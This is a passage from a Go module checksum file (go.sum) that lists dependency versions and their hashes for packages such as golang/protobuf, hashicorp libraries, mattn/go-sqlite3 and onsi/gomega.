github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0 h1:/QaMHBdZ26BB3SSst0Iwl10Epc+xhTquomWX0oZEB6w=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-github/v27 v27.0.4/go.mod h1:/0Gr8pJ55COkmv+S/yPKCczSkUPIM/LnFyubufRNIS0=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/gofuzz v0.0.0-20161122191042-44d81051d367/go.mod h1:HP5RmnzzSNb993RKQDq4+1A4ia9nllfqcQFTQJedwGI=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=
github.com/googleapis/gnostic v0.2.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=
github.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gopherjs/gopherjs v0.0.0-20181103185306-d547d1d9531e h1:JKmoR8x90Iww1ks85zJ1lfDGgIiMDuIptTOhJq+zKyg=
github.com/gopherjs/gopherjs v0.0.0-20181103185306-d547d1d9531e/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gorilla/handlers v1.5.1/go.mod h1:t8XrUpc4KVXb7HGyJ4/cEnwQiaxrX/hz1Zv/4g96P1Q=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
github.com/grpc-ecosystem/go-grpc-middleware v1.1.0/go.mod h1:f5nM7jw/oeRSadq3xCzHAvxcr8HZnzsqU6ILg/0NiiE=
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/api v1.5.0/go.mod h1:LqwrLNW876eYSuUOo4ZLHBcdKc038txr/IMfbLPATa4=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/consul/sdk v0.5.0/go.mod h1:fY08Y9z5SvJqevyZNy6WWPXiG3KwBPAvlcdx16zZ0fM=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-immutable-radix v1.1.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-msgpack v0.5.5/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.3/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/memberlist v0.2.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE=
github.com/hashicorp/memberlist v0.2.2/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/hashicorp/serf v0.9.0/go.mod h1:YL0HO+FifKOW2u1ke99DGVu1zhcpZzNwrLIqBC7vbYU=
github.com/hashicorp/serf v0.9.2/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk=
github.com/howeyc/gopass v0.0.0-20190910152052-7cb4b85ec19c/go.mod h1:lADxMC39cJJqL93Duh1xhAs4I2Zs8mKS89XWXFGp9cs=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/icrowley/fake v0.0.0-20180203215853-4178557ae428/go.mod h1:uhpZMVGznybq1itEKXj6RYw9I71qK4kH+OGMjRC4KEo=
github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68=
github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jtolds/gls v4.2.1+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/pgzip v1.2.4/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs=
github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/krishicks/yaml-patch v0.0.10/go.mod h1:Sm5TchwZS6sm7RJoyg87tzxm2ZcKzdRE4Q7TjNhPrME=
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
github.com/leodido/go-urn v1.2.1 h1:BqpAaACuzVSgi/VLzGZIobT2z4v53pjosyNd9Yv6n/w=
github.com/leodido/go-urn v1.2.1/go.mod h1:zt4jvISO2HfUBqxjfIshjdMTYS56ZS/qv49ictyFfxY=
github.com/looplab/fsm v0.2.0/go.mod h1:p+IElwgCnAByqr2DWMuNbPjgMwqcHvTRZZn3dvKEke0=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190312143242-1de009706dbe/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
github.com/martini-contrib/auth v0.0.0-20150219114609-fa62c19b7ae8/go.mod h1:ahTFgV/NtzY/CALneRrC67m1dis5arHTQDfyIhKk69E=
github.com/martini-contrib/gzip v0.0.0-20151124214156-6c035326b43f/go.mod h1:jhUB0rZB2TPWqy0yGugKRRictO591eSO7If7O4MfCaA=
github.com/martini-contrib/render v0.0.0-20150707142108-ec18f8345a11/go.mod h1:Ah2dBMoxZEqk118as2T4u4fjfXarE0pPnMJaArZQZsI=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-ieproxy v0.0.0-20190702010315-6dee0af9227d/go.mod h1:31jz6HNzdxOmlERGGEc4v/dMssOfmp2p5bT/okiKFFc=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.14.0/go.mod h1:JIl7NbARA7phWnGvh0LKTyg7S9BA+6gx71ShQilpsus=
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.6 h1:dNPt6NO46WmLVt2DLNpwczCmdV5boIZ6g/tlDrlRUbg=
github.com/mattn/go-sqlite3 v1.14.6/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
github.com/miekg/dns v1.1.38 h1:MtIY+fmHUVVgv1AXzmKMWcwdCYxTRPG1EDjpqF4RCEw=
github.com/miekg/dns v1.1.38/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/minio/minio-go v0.0.0-20190131015406-c8a261de75c1/go.mod h1:vuvdOZLJuf5HmJAJrKV64MmozrSsk+or0PB5dzdfspg=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/go-testing-interface v1.14.0/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8=
github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.2.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/montanaflynn/stats v0.6.3/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc=
github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=
github.com/ngdinhtoan/glide-cleanup v0.2.0/go.mod h1:UQzsmiDOb8YV3nOsCxK/c9zPpCZVNoHScRE3EO9pVMM=
github.com/nkovacs/streamquote v0.0.0-20170412213628-49af9bddb229/go.mod h1:0aYXnNPJ8l7uZxf45rWW1a/uME32OF0rhiYGNQ2oF2E=
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
github.com/olekukonko/tablewriter v0.0.5-0.20200416053754-163badb3bac6/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA=
github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
